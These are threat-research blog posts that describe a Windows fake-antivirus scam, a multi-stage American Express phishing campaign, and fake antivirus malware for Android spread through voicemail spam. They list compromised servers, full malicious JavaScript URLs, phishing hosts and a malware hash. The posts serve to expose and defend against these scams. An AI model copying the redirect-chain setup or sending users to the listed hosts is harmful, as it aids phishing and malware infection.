The Fake AV was called "AntiVirus Security Pro" and popped up in the typical fashion to run a "Full Scan" of my system:

While it was running a pulled a running process name and found that the malware had copied itself to my "Local Settings\Temp" directory and was running from there with the name "dnn9d9n39dn93nd39b9d393d3bdb.exe" (as you can see in the CMD window behind the scan above.) That file was 569,344 bytes in size.

After the scan completed, I went ahead and told it to Repair All of the threats it had found.

Unfortunately, it failed to repair some of the infections, because I was running a "limited version" of Antivirus Security Pro.

But there is HOPE! Even though "Not all threats have been eliminated." I could "Buy Full Edition" to fix the remaining 19 threats! What a relief!

When I chose not to do that right away, the Fake AV popped up occasional helpful HINTs that said "We strongly recommend activating full edition of your antivirus software for repairing threats."

Pretty darn expensive Fake AV! To the authors - please note that you are more likely to get the $99.99 for a LIFETIME license as opposed to six months. Nobody is going to pay $59.99 for a 30 days license, but we also aren't going to pay $99.99 for only 6 months! Maybe you could try 1 year, 2 year, 5 year?

Sadly, my credit card didn't clear. I'm shocked. I tried really hard to make up a valid card number! The good news is that the "Antivirus Tech Support" link on my desktop would take me back to the shop anytime I wanted to try again by visiting "techprotectorltd.com":

Fake AV IS A CRIME! REPORT IT!

Were you a victim of this scam? Whether you paid for the Fake AV or not, I would strongly encourage you to report your experience to the Internet Crime and Complaint Center by visiting: IC3.gov and using the "File a Complaint" button!

Read More

A Prominent American Express Phish

Every once in a while we see a spam campaign where we dig in to the complexity, expecting to find malware, and find that the criminal has just built an extremely fool-proof phishing system for their daily phish. Such was the case on an American Express phishing campaign that we saw today over at Malcovery Security.

The spam messages started flowing shortly before 9 AM, and by 10:30 we had received 548 copies of a spam email that looked like this:

The subject line was always "Fraud Alert: Irregular Card Activity"

The From address was always "American Express (fraud@aexp.com)"

But the highlighted link that claims it will take you to https://www.americanexpress.com/ actually goes to one of 419 URLs on one of 57 compromised webservers. The list of servers is:

0067959.netsolhost.com
02fbd07.netsolhost.com
119.245.150.94
184.168.170.184
188.165.206.52
209.173.242.165
anggieystratega.com
bentleycrossing.com
bluestreakfinancial.com
bobjonesaccounting.com
certificaat.ledtechno.be
copyrman.site.aplus.net
criminalsearchcanada.com
dinnerat8.mywebcommunity.org
durushayakkabi.com
entertainindy.com
etbroderi.no
expert-log.com
fassion.toypark.in
feuerwehr-queckborn.de
flat.bplaced.net
fmax.in.th
ftp.ccmanitowoc.org
ftp.likvidace-aut.cz
ftp.selectstl.com
idealmobilemedia.com
mircomultimedia.com
missionwild.ieasysite.com
orbitek.hosting24.com.au
peterottenzonwering.nl
pm.vertigry.com
proteebar.com
quarksocial.net
russiantheatre.ca
secomimages.co.uk
shiragellman.com
spanglaw.www65.a2hosting.com
sprintcar1.com
swansonhaskamp.com
tastemasters.de
tvbox.veria.eu
user4634.vs.easily.co.uk
w7u20zuyb.homepage.t-online.de
walegion.comcastbiz.net
watertechnology.gr
wer1globle.com
www.59-90.com
www.contactl.www66.a2hosting.com
www.g4amt.com
www.myspringriver.com
www.purecoat.com
www.qigong-yangsheng-koeln.de
www.regionshg.com
www.teammoutai.com
www.yardvilleheights.com
www.zen65048.zen.co.uk
yourbabyname.awardspace.com

On each server there was a selection of randomly named dictionary word directory names, followed by a "/index.html" such as:

/lipid/index.html
/juno/index.html
/tarnished/index.html
/linker/index.html
/musicologist/index.html
/village/index.html
/mered/index.html
/satan/index.html
/laconic/index.html
/parsons/index.html
/strayed/index.html

Each of those index.html pages was actually a redirector that posted a message in a box that said "Connecting to server..." while it tried to load one of three JavaScript files from three different locations. Between all of the boxes, we saw a total of ten of these JavaScript files:

 http://184.177.180.52/boers/ghostwrote.js
 http://194.15.212.104/hemispherical/inbounding.js
 http://208.106.191.91/glamored/pans.js
 http://ghanamusicbox.com/crystallization/carcinomas.js
 http://hamidebirsengur.com.tr/honduras/wildernesses.js
 http://kaindustries.comcastbiz.net/imaginable/emulsion.js
 http://msco-iraq.com/chervil/capturing.js
 http://naturesfinest.eu/eroding/patricians.js
 http://portel.home.pl/aborigines/nerveless.js
 http://winklersmagicwarehouse.com/handmade/analects.js
 http://www.greenerhomesnortheast.co.uk/jacksonian/barrettes.js
 http://zuniweb.com/burliest/squeaking.js

Each of THOSE files in turn did a "document.location" redirection to one of the three actual phishing sites:

steelhorsecomputers[.]net/americanexpress/
birddogpaperandhome[.]com/americanexpress/
cyfairfamilyfest[.]com/americanexpress/

Here's the Phish Walk Through once we finally arrive at one of the three destination phishing sites:

First they ask for the Userid and password

Then the Social Security number, your birthdate, your mother's maiden name, her birthdate, and a PIN.

Now the card number . . .

And the expiration date . . .

And finally your 5,000 Reward points are awarded, and you are forwarded to the actual AmEx page.

So, to gather the userid and password of a few hundred American Express card holders, the phisher today was willing and able to break in to SEVENTY web servers ... 57 used in the spam ... 10 more used for the JavaScript Redirection scrips ... and 3 used for the actual phishing hosts.

Quite an elaborate scheme. We'll be talking about MORE elaborate phishing schemes and webserver compromises in our Malcovery Webinar on Halloween Day, October 31, 2013 @ 1:00 Eastern / noon Central -- How Threat Intelligence Reveals The Scariest Cyber Attacks" -- (click the link to Register)

Read More

Fake AV Malware Hits the Android

Mobile Defender - the last line of protection

Having studied malware delivered by spam for the past seven years, it is a fairly rare event for me to be amazed by something new, but that is exactly what happened today thanks to a new finding by Brendan Griffin, the lead author of Malcovery's Today's Top Threats report.

In yesterday's report, Malcovery customers were informed of a prevalent spam email that used the subject lines:

• Voice Message Notification
• 1 New Voicemail(s)
• 2 New Voicemail(s)
• 3 New Voicemail(s)
• 4 New Voicemail(s)
• 5 New Voicemail(s)
• 6 New Voicemail(s)

When the spam messages from this campaign are rendered in an HTML mail viewer, the received message looks like this:

For a Windows user who clicks on the link, the malware calculates a location and drops a .zip file to the visitor with a name appropriate for thier location. For example, in yesterday's T3 Report, Brendan documented the behavior of a file he received from "bhaktapurtravel.com.np" that was named "VoiceMail_Birmingham_(205)4581400.zip".

At the time of Brendan's review, only 6 of 48 Antivirus vendors detected the .zip file as malicious according to this VirusTotal Report for zip.

The unpacked file, which used an icon displaying a musical note on a sheet of paper, fared little better, with only 7 of 48 detections as shown in this Virus Total Report for exe.

Twenty-four hours later, that detection is up to 21 of 48 detections, with several vendors (AntiVir, DrWeb, Microsoft) calling the malware "Kuluoz" while BitDefender, EmSoft, and F-Secure prefer the name "Symmi".

Android Version?

Given that the email message was claiming to be from an Android application called "WhatsApp", Brendan revisited the link, using a User-Agent string that would be commonly associated with an Android-based browser.

Instead of receiving an .exe file, when using the Android emulation mode, Malcovery received *AND INSTALLED* a file called "WhatsApp.apk". Examining the code, Brendan found bilingual messages in Russian and English that seemed to be indicating that various malware packages had been found on his phone. Here's one example, that seems to claim the presence of Downad/Conficker:

The Android malware, which had the MD5: 5290df867914473426b82233567c03af, was much better detected by AV engines ...

At first glance, that seems quite encouraging! But think about it more. What possible good does it do you to have AVG, ESET, F-Secure, Kaspersky, and Trend Micro telling you that this APK file is hostile? You certainly aren't running any of their Anti-virus products on your Android phone, are you?

Brendan decided it was time to put this malware into a true Android phone, and received some shocking results, shown below!

First, the Android App pretends to scan your phone for malware . . .

And then, it asks you for your credit card information in order to buy the "Mobile Defender" application to protect your phone!

We were amused by the "Lifetime Software License" which offers a 60% discount. I wonder how many years they expect us to live to calculate that discount! Hopefully they are referring to the lifetime of their malware, rather than us or our phone!

Historical FakeAV Scams

We certainly have been talking about Fake AV for a long time! Here are some of our previous articles on the subject, dating all the way back to 2008 -- but this Fake AV on Android Phones was a first for us, especially in such a prominent spam campaign!

FTC Moves against Fake AntiVirus ScareWare Companies - Dec 2008
Conficker Fears Spread Fake AV - April 2009
Fake Twitter, Linked In, and ScribD pages lead to Fake AV - June 2009
Fake AV in the News - April 2010
MasterCard Spam leads to Fake AV - July 2011

Sites seen in spam with either "info.php" or "app.php" malware links

Each of the sites below was found in spam in the Malcovery Spam Data Mine, either with an "app.php" path, such as "/app.php?message=7nof02WSsCV044njNqRS+F1mNBPcaaHD7u7VE/2vY7c=" or an "info.php" path such as "/app.php?message=NaZNY1tYTjYL5u0C/rimmNLlnDKRleqTEBJme/hthH4="

We believe that each of the sites below was compromised to allow the criminals to insert the "app.php" or "info.php" file on their system.

At this time, we are unsure whether the "localization" seen on the Windows version of this malware is based on geolocation of the infected computer's IP address, or whether the parameter passed in the URL contains an encoding of the user's location. Every URL observed had a unique string in the "message=" portion.

count	machine
count	machine	count	machine
24	babytoysbaby.com	4	coffsdentalcentre.com.au
22	bhaktapurtravel.com.np	4	admingo.ru
22	tsypa.ru	4	5100429.ru
19	manchesterbuddhistcentre.org.uk	4	skupina-lira.si
18	koshergiftsuk.com	4	planeta-avtomat.ru
17	casperscomputers.com	4	personalcarephysio.ca
17	mywebby.ru	4	iperidrosi.org
16	ifuneral.it	4	dxixisport.com
16	tk-galaktika.ru	4	guru27.ru
15	mdou321.ru	4	holenefesh.com
14	thaiecom.net	4	zag.com.ua
14	thenewdabbs.com	4	yildizotel.com.tr
14	locweld.com	4	shinyvsem.ru
14	gourmetschlitten.com	4	dr-nonna.ru
14	sadafmirza.com	4	niessing-gladbeck.de
14	serov1.com	4	uwes-futterkiste.de
14	growlerscraftbeerandales.com	4	boat-plastic.ru
13	globalpeat.com	4	morterablanca.com
13	dj220w.ru	4	co-co-mail.net
12	improvisera.net	4	vizazh.zp.ua
12	www.raspinawin.com	4	verfassungsschutz-bw.de
12	srivivekananda.com	4	darkmatta.com
12	amicidelcuore.info	4	www.kip26.ru
12	shop-rakushki.ru	3	veerbootkobus.nl
11	rkbtservice.ru	3	fehoozy.com
11	djvakcina.com	3	juhatanninen.com
11	muzikosfabrikas.lt	3	artedangi.com
10	ikarplus.com	3	truesouthmanagement.com
10	katrinfil.ru	3	paternocalabro.it
10	ladwig-gmbh.de	3	tennissimo.be
10	profnastil-sm.ru	3	westsaitama.com
10	cateringjaipur.com	3	venoras.com
10	clockcards.ie	3	netbook.com.ua
10	lichtenauer-fv.de	3	einstalacje.pl
10	mrsergio.com	3	kovka1.ru
10	gseo.it	3	piotrkozak.com
10	mirvshkatulke.ru	3	momks.org
10	albecoperu.com	3	tcpredatorsbaseball.com
9	dimater.com	3	autovaza.net
9	dezibelmusik.de	3	surya.org
9	goldnart.ru	3	fiskr.ru
9	rickhelpt.nl	3	piediplomacy.com
9	designmakers.kz	3	dis-travel.ru
9	crazyparty.com.pl	3	sportsbettingonlineusa.net
9	tc.CastineLLC.com	3	dmitriy-vasilchuk.com
9	gustavblome.de	3	craftyfolks.net
9	autopialighting.com	3	cityglobal.ru
9	eckkaluga.ru	3	isuzu.loader.com.ua
9	redmangoindo.com	3	isa-scouts.de
9	olimpodelbenessere.it	3	www.michael-roos.net
9	mazdaparts.su	3	www.ninja-ninja.com
9	lexbox.am	3	net2day.tk
8	pennerimperium.de	3	maov.info
8	yakitoriya-mo.ru	3	elmetsystem.pl
8	dush80-svao.ru	3	tischlerei-klemm.de
8	mastersonpr.com	3	such-spinne.de
8	slocis.com	3	pts.kovrov.ru
8	art52.ru	3	thundermistpowerboats.com
8	tva.ru	3	sungatov.ru
8	frescomeble.pl	3	harald-rupp.com
8	darkstudio.net	3	shermes.biz
8	orbitmotion.com	3	auronzo.it
8	cam.shaksha.ru	3	yakrus.com
8	www.chelyabreduktor.com	3	gogreenbravo.com
8	everyday24h.de	3	tengritel.kz
8	www.auxtribusindiennes.com	3	sewretro.com
7	dialoguetrust.net	3	oilhelp.info
7	magavilla.com	3	bdlmachines.com
7	structuredsettlementsannuities.com	3	cypresshomecareinc.com
7	brainseal.com	3	yalublutebyazhizn.ru
7	bareli.co.il	3	specialistdental.com.au
7	colorpaco.com	3	trivenidigital.com
7	kasutin.ru	3	englishteam.ru
7	www.myinnerpc.com	2	e-nt.de
7	fasthotel.ru	2	cargor.net
7	whiteys.co.uk	2	ingredientspring.com
7	smsa.pt	2	cthmail.de
7	granitderi.com.tr	2	corpstroy.ru
7	ntsysteme.de	2	heartwood.com
7	artisan-co.ru	2	na-derevnu-dedu.ru
7	mosobladvokatura.ru	2	swanseacity.co.uk
7	gamez.com.ua	2	mdou104.ru
7	sentabilisim.com	2	assistantinukraine.com
7	tufts.biz	2	wowbestservers.com
6	angelomasotti.it	2	arsenalyar.ru
6	tripdogs.com	2	velvet-sound.ru
6	ciarko.by	2	intimdosug38.ru
6	big-cock.biz	2	supertouch.co.in
6	softrace.no	2	chemycards.com
6	haugesund-toppidrettsgymnas.no	2	cebuhomesville.com
6	samedaystationery.co.uk	2	leaderscenter.com
6	tadaphotography.com	2	rolandward.co.uk
6	dyffryn.org	2	ignologics.com
6	hochseilgarten-springe.de	2	zarco-sic.com
6	bagnaradiromagna.net	2	etarlo.ru
6	sitallsmolensk.ru	2	bigpk.ru
6	humtata.de	2	ofis-v-nikolaeve.com
6	tiarahlds.com	2	ravolna.ru
6	allpress.biz	2	pyora68.net
6	zdrowieonly.ovh.org	2	poster.ua
6	webasto-ufa.ru	2	scottishtaxifinance.co.uk
6	custers.ru	2	formularmaker.com
6	hansobermeier.de	2	ais-stroi.ru
6	ziehdichauskunft.com	2	bluereefwatersports.com
6	venetamalaysia.com	2	fundigital.org
6	cathedralcityestates.co.uk	2	avminho.pt
6	paminklaizidiniai.lt	2	pechatiboom.ru
6	mbuhgalter.ru	2	filtrum-safari.ru
6	shilvi.com	2	aquatechperu.com
6	orderschering.com	2	butik-koles.ru
5	mouvsoch185.ru	2	visumconsulting.com
5	zenxual.com	2	warehouseboxing.com
5	michael-roos.net	2	elviras-tischdeko.de
5	easywebmexico.com	2	homemoney.ru
5	agapy.com	2	mar-kant.nl
5	marsperformance.ru	2	eeesolution.com
5	muzacikunovice.cz	2	microfi.co.uk
5	andyxator.ru	1	neps.ru
5	bahfuture.org	1	christel-gekeler.de
5	cfgb.fr	1	open-63.ru
5	golazvezda.ru	1	hardmetalunderground.com
5	mapradio.org	1	nickparton.com
5	therabrands.com	1	dieschrauba.at
5	goetzke-krottelbach.de	1	gardi.eu
5	paleorecip.es	1	vivasan-forum.ru
5	rus-futbolka.ru	1	aki-kowalstwo.pl
5	lcc.org.au	1	dotmatt.com
5	stolk.de	1	wesselinkgmbh.de
5	mikemetcalfe.ca	1	turfirma-yaroslavl.ru
5	nbvf.nl	1	positivelynaked.com
5	juszczyn.eu	1	barkersofwindsor.co.uk
5	izumrudny.org	1	assignmentwriting.co.uk
5	myinnerpc.com	1	manfred-konrad.de
5	burtonbrothers.net	1	frenken-adviesburo.nl
5	asesoriacontableperu.com	1	alumdeco.ru
5	dustycatwriter.com	1	pawsathome.ca
5	coolpcgames.co.uk	1	demonic3d.com
5	wallmountainweb.com	1	computing4schools.co.uk
5	airspill.com	1	visibus.ru
5	schweitzers.com	1	nazike.com
5	cond.ru	1	vitapool.ru
5	trimeducation.com	1	eventlocation-kiel.de
5	bfphotography.eu	1	radio-kabyle.com
5	meter-online.info	1	stkiliansnsmullagh.ie
5	organocontinuo.com	1	spentec.ca
5	damsit.com	1	gsp35.ru
5	ahkrc.org	1	shkolaimperatritsy.ru
5	tc.castinellc.com	1	cdrv.ru
5	muralzbyjean.com	1	altaicompass.com
5	gubo.com	1	pototype.com
4	paulhughestransport.com	1	line-message.net
4	koo-doo.ru	1	sad-natali.ru
4	louisedenson.com	1	gie-expo.com
4	mcmillandefense.com	1	lkmining.com
4	avionstudio.com	1	sonyfoto.com.pt
4	permanentmakeup-soest.de	1	schulezorneding.de
4	rogerclarkejohnson.com	1	angelkeeper.ru
4	solovy.ru	1	enlightenpro.com
4	simoneliebst.de	1	burim.by
4	georgysphoto.ru	1	pp73.ru
4	initsiativa.com	1	avitrade.ru
4	mephics.co.tz	1	centik.de
4	pax-sancta.de	1	nevertoolatebook.com
4	physiotherapie-kies.de	1	alyes.nl
4	idollighting.com	1	romchik.com
4	semeylib.kz	1	towi69.de
4	foundationforhealthaction.org	1	eplater.co.uk
4	ekimenko.net	1	intal.net.ua
4	mikroeta.lt	1	radio-germanija.de
4	contact.com.vn	1	manjitubhi.com
4	yu7.ru	1	carrahar.co.uk
4	srmarketers.com	1	arenda-t.ru
4	supercarsofmoscow.ru	1	torbeta.com
4	greaterbaycomputer.com	1	ventoz.ru
		1	babysun-volga.ru

Read More